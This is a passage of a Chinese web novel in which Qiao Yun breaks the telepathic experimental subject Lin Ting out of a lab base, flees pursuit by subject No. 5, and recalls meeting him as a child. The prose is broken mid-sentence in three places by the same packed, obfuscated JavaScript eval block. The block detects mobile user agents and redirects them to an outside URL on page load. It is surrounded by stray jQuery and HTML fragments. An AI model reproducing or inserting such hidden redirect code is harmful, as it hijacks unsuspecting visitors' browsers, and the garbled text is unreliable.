等爬到家门口,乔韫调整手机角度,开始从挎包里翻找房门钥匙。 忽然,映在门锁上的亮光抖动了一下。 乔韫立即警惕起来,将手机对准钥匙孔,这才发现,原本平滑的门锁上多出两道细微的划痕。 她突然自嘲一笑。 “江城子啊江城子……你这‘组长’当得可真憋屈,工作量不少啊。” 不用怀疑,她家肯定也被调查了个底朝天,和她的手机一样。 吱呀—— 推开门,一股熏香余烬的气味扑面而来,这是乔韫的安神香。她虽说是个玄学骗子,但对宗教抱有不小的兴趣。 乔韫的目光扫过玄关地面微不可察的拖痕,又注意到客厅沙发靠枕摆放角度的细微差异,不动声色弯腰换鞋,手却伸向鞋柜深处。 ——那里本该是藏备用现金的地方。 谢天谢地,江城子还没绝情到连钱也要没收的地步。 但除此之外,乔韫的指尖还碰到了另一样东西。 她的动作没有半点停顿,自然地将其抽了出来。 一把枪。 对手枪来说,它可谓小巧玲珑,只比掌心稍大一点,重量……乔韫掂了掂,如果她没记错的话,是272克,目前市面上最轻的款式,适合放进口袋,非常方便。 虽然DT3V上配有不少规格的枪械,但都侧重于远程杀伤力,这把不起眼的自卫手枪,在出勤时比DT3V的配额更高效。 “这么大费周章,明明可以给我扔车里的。” 啊。 乔韫想起来了。 DT3V需要车主的双重认证才能开。 而她的车,估计是花了不少力气才从临昌拖到上饶的。 想到这里,乔韫莫名觉得好笑。 她随手将枪揣进牛仔裤口袋,走进客厅,目光落在茶几上多出的文件上。 用脚趾头也能想到,必然是关于林听的报告。 难怪江城子在交接时惜字如金,原来只是懒得浪费自己的口水。 乔韫不紧不慢,为自己倒了杯水,从沙发边的置物柜抽屉里翻出两瓶药,倒出几粒,仰首吞下,才优哉游哉翻阅起资料。 ——《实验体(九号)综合评估报告》。 报告内容详细到令人发指。 从基础的生理指标,到那次核心熔毁事故前后的数据对比,密密麻麻的脑电波图谱看得乔韫眼花缭乱。 但最让她感兴趣的是针对林听的行为模式解读,这才是真正符合她专攻的界面,江城子给得非常详尽。 当然,还有林听的“体征档案”。 上面清晰地标注着林听身上每一处显著特征,旁边甚至还附有高清局部照片,连他屁股上有几颗痣都清清楚楚。 乔韫微眯着眼,眼角流出一丝隐秘的愉悦。 报告最后几页是历史档案的扫描件,其中一页附上了几张像素不高的照片,记录着林听的成长。 乔韫的眼神扫过其中一张照片。 照片上是一排穿着统一白色无袖连体服的孩子,高矮不一,但都异常瘦小,像一群营养不良的小萝卜头。 他们的胸口上,都贴着一个醒目的黑色编号贴。 照片右下角有一行小字注释: 谛听一期实验体(1-10号)首次群体暴露适应性测试。 --归档日期:XXXX.XX.XX。 乔韫的指尖划过那排小小的身影,在编号“六”上微顿,最终停在“九”上。 仅停留一瞬,便迅速滑走,将纸页翻到下一张。 乔韫试图记住更多与九号,不,与林听相关的信息,药效却在此时上涌,像一股不容抗拒的潮水,迅速淹没了她的大脑。 沉重的疲惫从乔韫骨缝里钻出来,拉扯着她的眼皮。 乔韫的身体不断放松,渐渐陷进沙发,那份摊开的报告从她逐渐无力的手里脱落,啪嗒一声,掉落在地。 照片上幼小的林听,面朝下,被黑暗吞噬。 翌日上午八点五十九分,乔韫的身影准时出现在基地负二层。 她脸色有些苍白,眼下带着淡淡的乌青,但精神尚可,依旧是那副玩世不恭的模样。 江城子与小莫早在会议室恭候她大驾,下座还有几个或熟悉或陌生的面孔,都穿着白大褂,无一例外,均为实验员。 “早啊,几位。” 乔韫懒洋洋打了个招呼,径直走到会议桌旁,拉开一把椅子,大大咧咧坐了下去。 椅子发出一声淡淡的“吱呀”。 “江组长,下回体谅体谅我吧。我家在城北犄角旮旯,基地在南边荒郊野岭,横跨整整三个区,早高峰更是堵得跟便秘似的。我凌晨四点就要爬起来赶路,就为了九点能来这儿给您请安。知道的以为我来开会,不知道的还以为我赶着投胎呢。” 乔韫揉着太阳穴,毫不掩饰地抱怨着。 江城子的目光从电脑屏幕上移开,瞥了她一眼,镜片后的眼睛看不出情绪。 “非常时期,非常安排。你看起来精神不错,还能贫嘴——报告看了吧?” “托您的福,看了点,睡得更香了。” 乔韫将报告往桌上一扔,意有所指。 “组织对我的‘关怀’可真是无微不至。” 江城子没接话茬,直接说:“你那完全没计划样的‘计划’被批准了,恭喜。” 乔韫:…… 话里的挖苦还能再明显一点吗。 “照你这说法……莫非不是你批的?” “嗯,不是我。”江城子平静地抛出一颗炸弹,“是‘那位’直接批的。” 乔韫脸上的散漫瞬间凝固了一下。 “那位”? 她虽然在组织摸爬滚打多年,也无法接触到除江城子以外的上级。 江城子之上,有多少层级,又有多少人,她一概不知。 在场所有人都不知道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506301|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乔韫甚至敢大胆猜测,连江城子也不清楚自己有多少上司。 她心头微凛,但面上很快恢复如常,识趣地没有追问“那位”的身份。 这件事说大不大,说小不小。 往大了说,组织对九号的重视,已经到了需要联合其他小组共同保障的地步。乔韫,很有可能从未真正得到组织的信任; 往小了说,或许只是江城子做不了主,请示一下上级而已。 但无论如何,“那位”的插手,或许也意味着,乔韫在后续的活动中,可能会与ta打上照面。 这是福,还是祸? 至少乔韫在当下无法得出结论。 “所以呢,‘那位’有什么指示?” 乔韫换了个更放松的坐姿,仿佛刚才的惊讶只是旁人的错觉。 “计划时间在凌晨两点。”江城子调出基地结构图投影,“这个时段,住院部值班人员最少,附近居民也基本休息,动静最小。行动分三步——” 他指向投影:“第一步:一点五十九分三十秒,小莫会切断实验区主电源和备用电源,造成全面停电。备用应急灯会在15秒后启动,但亮度只有平时的30%,且覆盖范围有限。 “第二步:由于监控的电路是独立的,停电瞬间,监控会有大约30秒的切换和重启延迟。你要利用这黑暗和混乱的30秒,用这个——”他推给乔韫一张磁卡和一个小巧的定向爆破装置,“——破开九号实验屋的主门。 “记住,爆破点我已标好,破坏力控制在最小范围,只炸锁和门轴。 “第三步:门开后,你进去,带他走。路线图稍后发你。” 江城子顿了顿,强调:“整个过程,你要让他‘看’到,是你,在组织制造的意外和追捕中,把他‘救’了出来。这是获取他信任的关键。” “追捕?”乔韫捕捉到关键词。 “为了增强真实性和紧迫感,”江城子面无表情,“我们会派出五号进行‘追捕’。” 乔韫想起江城子曾告知她的信息:五号,生理机能接近六号,但日休眠时间长达18小时,是个需要大量“充电”的残次品。 派五号在大半夜行动,也算是物尽其用了。 “先提前说明一下,这个决策有风险,我是坚决反对过的。” 小莫在这时插话。 “毕竟五号……” 江城子朝小莫瞥了一眼。 “……算了,乔姐你自求多福吧。” “还有问题吗?” 江城子的目光扫过众人。 “有。”乔韫举手,“一个非常关键的问题。” “说。” “能给九号备套衣服吗,大晚上,怪冷的。再说了,衤果奔实在有碍观瞻……” 江城子:…… 小莫忍不住翻了个白眼。 江城子深吸口气,回道:“这种细节不用你操心,都给你准备上了。” “那就好。”乔韫满意地点点头,身体靠上椅背,“最后一个问题:计划实施的日期是?” 江城子扶了扶眼镜。 “今晚。” 5. 逃! 上午十点三十分,距行动开始,还有大约十五个小时。 散会后,乔韫在心里狠狠吐槽了一番组织这“效率过人”的作风,凌晨两点,今晚,这分明就是要把她熬死的节奏。 她揉着依旧发胀的太阳穴,径直走到还在整理资料的江城子面前。 “江组长,”她拖长尾调,带着显而易见的疲惫,“这离行动还有十几个钟头呢,我申请回家补个觉。你放心,时候一到,我保证准时出现在这扇门外,一根头发丝儿都不会少。”乔韫指了指那扇冰冷的金属门。 江城子从资料后抬起头,目光在她略显苍白的脸上停留片刻,似乎评估着乔韫这副鬼样子能否撑到半夜。 “先别急,我还有事跟你说。” “嗯?”乔韫有些意外,勉强打起精神。 “我记得你焦虑症状蛮严重的,需要带几支安定剂吗?” 乔韫:? 奇了怪了,江城子开始主动关心人了。 “不用,我这几年都没打安定剂,一直靠吃药。” “你开始对宗教感兴趣了?” 乔韫立即意识到,他这是在指自己那些玄学书籍。 “算是吧。神顺应人类的恐惧而生,给予人‘终极意义’和‘永恒承诺’。但,我的确没有信仰,我只是……无法消弭恐惧。” 江城子沉吟片刻,似乎在努力理解乔韫的话。 “如果你还没决定逃亡的目的地,那么,我建议你考虑一下和宗教相关的地方。” 语罢,江城子垂眸,敛去眼中情绪。 “乔韫,你能归队,我很高兴。你也知道,我们组这些年,失去太多人了。” 乔韫移开目光:“是吗。” 她并没有在这种“温情时刻”上花费情感,而是绕回了最初的话题: “那我可以去休息了吗?” 江城子抬头,对上乔韫的目光,交锋片刻。 最终,他大发慈悲地点点头:“可以。保持通信畅通。” 言下之意:可以补觉,但还是得随叫随到。 乔韫如蒙大赦,抓起挎包,转身就走,脚步比来时轻快许多。 被批了假,多在基地待一秒都是亏。 一出基地那令人窒息的地下环境,她立刻掏出手机。 屏幕刚亮,乔韫便眼疾手快地戳进上饶市精神卫生中心的挂号小程序——时间还早,她运气不错,抢到了下午一个门诊医师的号。 江城子倒真提醒了乔韫,她得趁这会儿多开点药,后面逃亡颠沛流离,怕是没多少买药的时间,未雨绸缪总没错。 乔韫走出住院大楼,阳光刺目,她略一思忖,又马不停蹄,在手机上订了个钟点房。 对啊,她昨天怎么没想到在附近订间酒店呢? 乔韫禁不住挠了挠脸。 下午四点整,距行动开始,还有十个小时。 药房窗口。 乔韫看着递出来的药盒,眉头拧成了疙瘩。 熟悉的药名,包装却从朴素的白色塑料药瓶换成了银光闪闪的铝塑板,一板板独立包装的胶囊躺在硬纸盒里,看着是高级了不少。 ——价格也是,“高级”不少。 过度包装的智商税!乔韫恨恨想着。瓶子装得好好的,非弄这花里胡哨的板子,成本全转嫁到病人头上,药企和医院联手割韭菜的手段真是越来越娴熟了。 她面上神色不改,淡漠地扫码付钱,把几盒“华丽”的药塞进帆布包深处。 晚上九点,距行动开始,还有五个小时。 回到城北那个破败的“家”,乔韫环顾四周,发现确实没什么值得留恋的事物,更没什么需要带走的。 于是她只简单收拾了几套换洗衣物、洗漱用品、翻烂的玄学书籍,以及最重要的几样“吃饭家伙”——罗盘、铜镜等——通通塞进一个结实的双肩包。 末了,乔韫在楼下拦住一个刚跳完广场舞的大妈,顶着对方看神经病的眼神,淡定地借过手机,凭记忆拨出一个号码。 “喂,王姐?我乔韫,对,退租。钥匙放老地方了,没事儿,不用退押金。欸,就这样。” 不等对方多问一句,乔韫便把手机塞回还在发愣的大妈手里,留下一句“谢谢”,钻进那辆低调的黑色DT3V。 引擎低吼着驶离了这个短暂的避风港,再次汇入车流,驶向南郊的“精神病院”。 凌晨一点半,距行动开始,还有不到半小时。 “拿着,”江城子的声音压得很低,朝乔韫扔来一团衣物,中心有块东西沉甸甸的,乔韫掀开衣物,发现是两屉弹夹。 “每个弹夹六发,共十二发——这十二发子弹,是你在这场逃亡中全部的弹药储备。基地内环境复杂,流弹风险太高,非必要绝不动枪。离开基地后……自己掂量。” 乔韫打量着弹夹,金属的质感透过指尖,传来一丝残酷的森气。 十二次机会,十二次扣动扳机的权利,也是十二次暴露位置的风险。 她一言不发,将弹夹塞进弹匣袋。 凌晨一点五十五分。 实验区主控室内,小莫的手指悬在总闸开关上方,目光死死盯着手表上的倒计时。 江城子站在她身后,如同雕塑。 乔韫则隐在通往九号实验屋的通道阴影里,指间夹着那张薄薄的磁卡,另一只手紧握着定向爆破装置。她掌心微微出汗,但心跳却异常平稳。 老实说,她目前的状态甚至可以用“兴奋”来形容。 【三、二、一!】 三人心中同时默念,小莫率先动作,猛地拉下总闸。 啪! 霎那间,整个地下空间陷入黑暗,仪器运行的嗡鸣、通风系统的低吟、屏幕的微光,全部消失,整个世界似乎在这一瞬间,被抽成真空。 就是现在! 乔韫如同黑暗中捕食的猎豹,瞬间从阴影中窜出,凭借着对空间的熟悉,精准扑到九号实验屋那扇厚重的合金门前。 没有半分犹豫,她将磁卡覆上感应区,扰乱磁场,避免其被动触发安保系统,几乎同时,定向爆破装置也被狠狠摁在预先标记好的位置。 最后,闪开! 轰—— 一声沉闷的爆响,延续时间却极为短暂,爆破带来的火光亦是如此,转瞬即逝。 如江城子所言,破坏力被严格控制在了一个极小的范围内。 合金门发出令人牙酸的金属扭曲声,向内猛地摊开一道缝隙。乔韫一脚踹开门,借着爆破残留的微弱火星,朝着里面那个在黑暗中蛰伏的身影低喝道: “穿上,我们只有三十秒!” 一道抛物线随着她的动作产生。 ——正是江城子为林听准备的衣物。 林听的反应快得超乎想象。在乔韫扔出衣服的瞬间,他已经动了。 黑暗中几乎看不到他的动作,只听到衣物摩擦的窸窣声。 不到五秒,他便穿戴整齐,幽灵般出现在乔韫身侧。 “走!” 乔韫先一步冲向洞开的门。 但她依然清晰地感知到,自己的动作慢了一步。 啪!啪!啪! 幽蓝色的备用应急灯次第亮起,如同鬼火,勉强照亮了狼藉的走廊,投下长长的、晃动的阴影。 倒计时悄然来到十五秒。 他们需要在十五秒内冲出基地,否则,当监控亮起,江城子可就不会如此明目张胆地放水了。 然而,一道人影,仿佛从墙壁中剥离出来,毫无征兆地出现在乔韫面前。 她的瞳孔倏然缩小。 “小心!” 林听低吼一声,几乎本能一般,抄起乔韫的腰,将她护在身侧,同时猛地向侧面闪避。 距离甫一拉开,乔韫才看清来者的脸。 六号??? 锃—— 一道寒光贴着林听的残影劈下,狠狠斩在合金墙壁上,溅起一溜刺目的火星。乔韫这才注意到,这人没有配备任何热兵器,浑身上下,只见一把唐刀。 的确,在这种超乎常人的机能下,任何枪械都是累赘。 但乔韫没时间多想,随着唐刀落下的,还有一句鬼魅般的低语。 “姐姐……” 不,她不是六号。 乔韫从不否认自己的记忆力偶尔会差得离谱。江城子给她转述任务情况时,她没能想起来;昨天翻看照片时,她也没能想起来。 直到现在,看见这张脸,乔韫终于想起: 五号和六号是* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506302|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **龙凤胎啊! 她自认与五号并无来往,这莫名其妙一声姐姐,险些让乔韫以为是六号还魂。 林听抱着乔韫,步法诡谲,在狭窄的走廊中腾挪闪避。 唐刀的寒光如附骨之疽,每一次挥砍都带着撕裂空气的尖啸,刀锋所及之处,越来越靠近二人衣角。 倒计时还剩十秒。 乔韫躲在林听怀里,剧烈的颠簸和呼啸的刀锋让她头晕目眩,但依然试图纵观全局。 不能再拖了! “不要恋战。” 乔韫在林听耳边低语,同时不动声色抽出腰间手枪,朝着五号模糊的身影扣动扳机。 砰! 枪声在密闭的空间里震耳欲聋。 子弹射入墙壁,只留下一个弹孔,五号的身影在枪响瞬间已然闪开。 “该死!被发现了。”乔韫暗骂一声。 浪费了一颗子弹。 “林听,别管她,还剩五秒,冲出基地,目标——楼顶!” 林听没有丝毫犹豫。借着五号被枪声微微分神的刹那,他抱着乔韫,双腿爆发出恐怖的力量,仿佛只一眨眼,便到了最后一道门前。 乔韫将手掌覆上。 【三、二、一。】 门开了。 五号的刀也到了。 阴森森竖在林听头顶,下一秒,林听的脑袋就会变成一碗草莓奶油冰激凌。 砰! 乔韫开了第二枪。 她无法击中五号,于是将目标放在了她的刀上。 那毕竟是一件物品,无法像主人一样活动自如。 五号的刀被子弹打穿,断成两截。 倒计时结束,乔韫成功离开基地,但她明白,接下来才是真正的追逐赛。 “逃!!!” 从地下室到顶楼,一共10层,林听毫不犹豫地选择走楼梯。 他抱着乔韫,一步跨越数级台阶,如同无视地心引力,向着楼顶狂奔。 五号如影随形,沉重的脚步声与森森杀意交织,渐渐逼近乔韫二人。 乔韫缩在林听身后,露出一只眼,密切关注着五号的动态。 局势于他们而言,很不利。 林听的速度在变慢,而五号,持着残刃,刀尖马上就要刺入林听的后背。 突然,乔韫感受到一丝异常的风流。 快到了…… 嘭! 通往天台的门被林听一脚踹开。 寒气透骨的夜风瞬间灌了进来,带着城市边缘特有的尘土气息。天台上空无一人,只有月光投下的阴影。 远处,是上珧市深夜稀疏的灯火。 五号的身影紧随其后,出现在楼梯间门口,唐刀斜指地面,封死了他们回程的路。月光洒在她脸上,冰冷得没有一丝人气。 “跳!”乔韫指向天台边缘,声音斩钉截铁,“抱着我,往下跳,最好落在下面那辆黑色的车边。” 跳楼?! 饶是林听远超常人,此刻也有一瞬间的愕然。 这里是住院部顶楼,高度超过三十米,而下方,是坚硬的水泥地。 “林听,相信我。”乔韫的声音带着一种近乎疯狂的笃定,“她也会跟着下来的。” 闻言,林听猛然收紧手臂,深吸一口气,脚下发力,朝着天台边缘义无反顾冲去。 身体腾空的瞬间,强烈的失重感袭来。 五号果然没有丝毫停顿,在林听跃出的同时,她眸中厉色一闪,身形翩然,紧跟在后,也飞跃而下。 她的目标只有一个——不惜一切代价,阻止乔韫离开。 夜风在耳边呼啸,地面在视野中急速放大,令人窒息的恐惧感擭住了乔韫的心脏,但她的头脑却并没有因此停止运转。 她仍然在观察,思路无比清晰。 自由落体时,物体速度由重力加速度决定,忽略空气阻力,所有下坠物体的速度增长是同步的。 也就是说,在这个垂直下落的过程中,他们、五号,三者之间处于一种“相对静止”的状态,五号的横向速度优势,会在这个垂直维度上被抹平。 这是唯一能锁定她的机会。 现在,机会来了。 砰! 第三枪。 6. 等待 噗嗤! 子弹入肉的声音沉闷而清晰,五号的身体在空中猛地一颤。 她闷哼一声,左手下意识捂住腹部,血珠浮在她身旁,与其一同下落。 轰! 轰! 几乎不分先后,两声沉重的撞击声响起。 林听抱着乔韫,双脚重重跺在DT3V旁的水泥地上,巨大的冲击力让他膝盖微弯,脚下的地面裂出细纹。 但还好,他依然稳稳站住了。 而五号如同被击落的飞鸟,以一种扭曲的姿态,如一堆衣物,坠落在距离他们几米远的地面上。 一时烟尘弥漫。 五号勉强翻滚几圈,卸去坠地的速度,单膝跪地,脸色苍白,嘴角溢出一丝鲜血。 她抬起头,眼中依然平静无波。 但乔韫从中捕捉到了一分…… 茫然? 或许,作为实验体,能从外部受到伤害也是一种幸运。 五号试图站起来。 “上车!”乔韫吼道,一把拉开副驾驶车门,示意林听进入。 自己则闪身钻进驾驶座。 DT3V的引擎低沉地咆哮,轮胎摩擦地面,发出刺耳的尖叫,车身如离弦之箭,冲破精卫中心大门的道闸,汇入深夜空旷的街道,只留下车尾灯两道猩红的光轨,迅速消失在夜色深处。 五号捂着不断渗血的腹部,摇晃着站起身。 她看着那辆车消失在道路尽头,眼中如冰雪逢春,渐渐融出一抹暖意。她低头,看了看染血的手掌,握拳,又舒展,最终缓缓地闭上了眼睛。 夜风吹散额发。 追捕失败。 任务成功。 车内。 引擎的轰鸣与心跳声交织。 乔韫的余光紧锁着后视镜中五号的身影,直到她凝成小小的黑点,然后消失不见,乔韫才如上岸的溺水者,大口喘起粗气,肾上腺素的余威让她的手指微微颤抖。 “你的身体快撑不住了吧?” 乔韫微微偏头,将林听的脸放入自己视线。 他额上冒出了细密的汗珠,眉心紧蹙,月光和路灯的光线透过车窗,在他睫毛下打出一道浓密的阴影。 乔韫非常不合时宜地想到一个成语: 西子捧心。 我见犹怜。 乔韫抿了抿嘴唇。 “如果姐姐有需要,我没问题的。” 林听似乎察觉到乔韫的微妙变化,竟自顾自改进措辞,作出一派乖巧姿态。 乔韫闻言,略一挑眉,将头又偏向他几分。 林听不避不让,对上乔韫探究的视线,甚至温顺地朝她眨了眨眼。 乔韫突然发出一声笑。 “我可没有强人所难的爱好,况且……” 乔韫拉长尾音。 “你不觉得逃亡时,飙车比较有氛围吗?” 林听顺着乔韫,也淡淡挤出个笑,附和道:“是。” “自己坦白吧,你的身体是什么情况。” “头疼。” 言简意赅。 乔韫瞬间了然,目前的情况,大概与小莫所做出的推测一致。 实验屋的屏蔽环境隔绝了外界大部分杂音和思绪,一旦离开那个“屏蔽罩”,对于刚刚掌握读心能力不久、还无法精确控制的林听来说,就像是毫无准备地坠入心声洪流。 这无异于一场身心双重层面的酷刑。 但当下的情况,其实也意味着一个好消息: 林听读心的能力是被动的,乔韫或许能够掩藏她与组织的合作关系。 任务难度降低大半,乔韫感到一阵失落。 【如果九号表现出任何不适,你的第一要务就是和组织联系汇报,千万不要自作主张,知道吗?】 乔韫想起小莫的叮嘱,于是她伸手—— 从包里翻出一板止痛药,递给林听。 嗯,她知道,但她不听。 “喏,止痛药,应该有用,如果你不怕我下毒……” 林听吃了。 看也没看药名,接过药,仰头就干咽了下去,动作利落得让乔韫也不自觉愣了一下。 这让乔韫心底莫名发虚。 车厢内暂时陷入沉默,只有引擎声和二人尚未平复的呼吸。 DT3V在深夜空旷的城市道路上飞驰,导航屏幕幽幽地亮着,指向南方。 过了大约十分钟,林听紧蹙的眉头似乎真的舒展了不少。 他侧过头,看向乔韫:“我们去哪儿?” 声音虽然还有些沙哑,但已平稳许多。 “柳城。” 乔韫并没采纳江城子的建议。 她做事,向来不需要人教。 乔韫看着前方被车灯劈开的黑暗,继续道:“这车有GPS,组织迟早能查到。先去柳城找个老朋友,把车彻底改装一下,抹掉所有能被追踪的痕迹。” 她顿了顿,继续补充道:“那家伙手艺不错,就是有点……怪。” “好。” 林听应了一声,声音平淡无波。 然而,就在乔韫话音落下的瞬间,借着车窗外掠过的明亮路灯,她注意到,林听的手指收紧了一下。 这份反常逃不过乔韫的眼睛。 她的心情被这种反应哄得稍稍好转。 柳城——如果乔韫没记错——是林听的家乡。 哎呀,真巧。 哪怕带着自己的私心,乔韫依然会坚持认为,这一步是取得林听信任的手段之一。 车内再次陷入沉默。 乔韫的目光不经意间扫过自己扔在仪表盘旁的胶囊,银色的铝箔包装在仪表盘的微光下反射着冷光,药名清晰映入她眼帘。 嘶…… 乔韫暗暗倒抽一口凉气。 她给错药了。 那不是止痛药,是她不久前在精卫中心买的劳拉西泮,用来治自己的焦虑症的。 呲—— 乔韫猛地踩下刹车。 二人的身形被惯性甩离座位,又被安全带狠狠按回。 林听的眼睛带着问询,看向乔韫。 “……车里有点闷。”乔韫松开方向盘,指尖在车门开关上摸索了一下,声音努力维持着镇定,却还是泄露出一点不易察觉的紧绷,“我下去抽根烟透透气,你……随意。” 话音未落,她已利落解开安全带,推门下车。 凌晨的寒气瞬间涌进车内,带着露水和尘土的味道,让她的大脑为之一清。 乔韫做了个深呼吸。 这种感觉,她再熟悉不过。 是焦虑发作。 大概率是死里逃生带来的情绪滞后,遇到某个锚点,便毫无征兆地爆发了。 别急、别急…… 她早就记不起自己的焦虑症从何而来,但克服疾病带来的不适已经成为她的日常,可以说,她对此经验充足,是个难得的老手。 在那样高强度的逃亡后,稍稍控制不住情绪,很正常吧? 身后传来轻微的响动。 林听也推开车门,站到了她身边,身形笔挺如松。 两人并肩站在空旷的国道旁,四周是荒芜的田野,视野开阔得能望到天际线。 东方,浓重的墨蓝正一点点被稀释,透出一点灰白。 鱼肚白挣扎着要破壳而出。 乔韫东奔西走这些年,大部分时间都忙于生计,鲜少见到这样的景色。 她心底的躁动平复许多。 “很快就能到目的地了。”乔韫打破沉默,从口袋里摸出烟盒,熟练地叼出一根烟。 啪。 打火机上的火苗跳动,照亮她略显疲惫的眉眼。 乔韫深吸一口,辛辣的烟雾滚过喉咙,带来短暂的麻痹感。她启唇,朝东方那抹渐亮的天光喷出一口悠长的白气。 “天全亮的时候,就能到柳城了。” 林听没说话,只是安静地看着她指尖明灭的烟头。 乔韫又抽了一口,目光落在他脸上,带着审视,也带着试探,她将夹着烟的手往林听那边递了递,烟头在将明未明的夜色里划出一道橘红的弧线。 “抽过吗?”她问,声音被烟熏得发哑,“提神,或者……止痛?” 林听迟疑片刻,没有去接那根烟,反而抬手握住了乔韫的手腕。 他的掌心温热,指腹带着薄茧,力道却意外地轻柔。 乔韫的手腕被他圈在手心,像被藤蔓轻轻缠绕。 就着乔韫的手,他微微低头,凑近那点橘红,小心翼翼吸了一口。 “咳咳……咳!” 烟雾刚入口腔,林听就像被无形的重锤击中,猛地弓起脊背,爆发出剧烈的呛咳。 泪水不受控制地从他眼角汹涌溢出。他一手捂着嘴,一手撑着膝盖,狼狈得全然没有了在实验屋时的冷静,只剩下近乎脆弱的真实。 乔韫看着他这副样子,先是一愣,随即大笑起来。 笑声在空旷的田野上传开,带着劫后余生的狂喜,也带着一丝她自己都未深究的畅快。 “哈……哈哈哈!” 她笑得眼角也沁出一点泪花。 “没抽过啊?早说嘛!” 林听好不容易止住咳嗽,直起身,用掌腹胡乱擦了擦脸上的泪痕,被泪水洗过的眼睛湿漉漉,盯向乔韫,带着被呛出来的恼意和无措。 乔韫的笑意慢慢敛去,只剩下嘴角一点似有若无的弧度。 “刚才在基地,你完全能甩开我自己跑,”乔韫理了理散落的发丝,“现在也是——怎么不跑?” “没地方去。” 林听回答得斩钉截铁。 “在你身边或许是最安全的。” 这个理由听起来合情合理。 一个从小在实验室长大、被当作武器培养的实验体,对外界一无所知,无处可去,无处容身。 乔韫对这种情绪深有体会,“哦”了一声,不置可否。 她抬起手,准备将剩下的半支烟送进嘴里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506303|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而,就在烟头即将触及唇瓣的瞬间,林听的手再次伸了过来。 这一次,他的动作更快,也更坚定,不再是轻轻圈住乔韫的手腕,而是直接覆上了她的手背,将她的手,连同那支烟,稳稳固定住。 在乔韫略带愕然的目光中,林听再次俯身,就着她的手,深深吸了一口。 尽管浓烈的烟雾依旧让他眉头紧锁,但他喉结滚动,死死压制住了咳嗽的冲动,只是胸膛剧烈起伏了几下。 他动作缓缓,带着进行仪式般的虔诚姿态,将那口辛辣的烟雾吐了出来。 灰白的烟雾在晨风中袅袅散开,模糊了他轮廓分明的侧脸。 林听的目光穿透烟雾,重新落回乔韫脸上。 “而且,” 他沙哑的声音响起,低沉,却清晰地穿透了薄雾。 “我等了你很久。” 乔韫夹着烟的手指轻轻一颤。 烟灰簌簌落下。 记忆的闸门被猛然撞开。 那应该是……十四五年前? 彼时乔韫不过是个刚进青春期的少女,与现今的“乔韫”个性相去甚远。 具体有多“远”,怎么说呢……在那时,她还处于看见小孩受苦会打心底怜惜的年纪。 作为谛听计划的预备组员,乔韫拥有自由进出实验区的权限。在那天,隔着厚厚的单向玻璃,她看到了那批实验体,编号一到十,年纪很轻,最大的看起来不过十岁,而最小的,据说刚进来时才四岁,编号“九”。 他们排着队,像等待检验的货物,一个个走进检测室。 每个孩子脸上都被剥去了情绪,恐惧、厌恶,甚至绝望,通通消失得无影无踪,只剩一片淡漠,仿佛早早认命一般,祥和地走进黑夜。 除了九号。 当穿着白大褂的实验员拿出针管时,九号本能一般,后撤了一步,这让乔韫不由得发出一声极轻的“嗯?”。 然后,在乔韫的注视下,他走近实验员,顺从地接受注射,末了,他的唇瓣翕合。 隔着玻璃,乔韫并不能听见他的声音,但她通过九号嘴唇张合的幅度,缓缓吐出两个字: “谢……谢?” 奇怪。 他好像还挺有人样的。 正当乔韫感慨之际,九号刚迈出去的步子陡然剧烈颤抖起来,脸色登时变得煞白,纵然他紧咬牙关,似乎想维护住自己最后的体面,但豆大的汗珠仍从他额前滚落。 嗵! 九号就在这短短一瞬,痛晕了过去。 旁边的实验员见怪不怪,沉默又迅速地抱起这孩子,稳步离去。 乔韫的腿也跟着动了起来。 她的目光离开了剩下的孩子。 直到夜幕降临,乔韫在实验体宿舍拐角拦住了九号。 她靠在墙角,双手抱臂,见九号靠近,很是地痞地吹了声口哨,将九号吓得不轻,险些叫出声。 乔韫见状,忙蹲下捂住他的嘴。 “小点声,被人发现,咱俩都没好果子吃!” 九号眼含惧色,怯怯点了点头。 乔韫这才松开手,将口袋里准备好的东西掏出来,给九号分了一半,另一半,则扔进了自己嘴里。 ——是糖啊。 乔韫见九号只是愣怔怔盯着彩色糖纸,含着糖,咕囔着: “这是糖,甜的,你吃过糖吗?” “吃过……妈妈给我吃过。” 乔韫一顿,问: “你有妈妈?” 小孩儿好似被点开某处开关,身体轻微颤动起来,眼里登时蓄满眼泪,滴溜溜在眼里打转,可他却瞪着眼,固执地不让眼泪掉下。 “有……家里着火,她被烧死了。” 乔韫自小就没有关于父母的记忆,所以到这种场合,她也只会讪讪发出一声拖长的“哦”,以此缓解尴尬。 但没关系,乔韫很会转移话题: “你愣着干嘛,吃啊,不吃我吃了。” 九号依言剥开糖纸,将糖塞进嘴里,嚼得嘎嘣嘎嘣响。 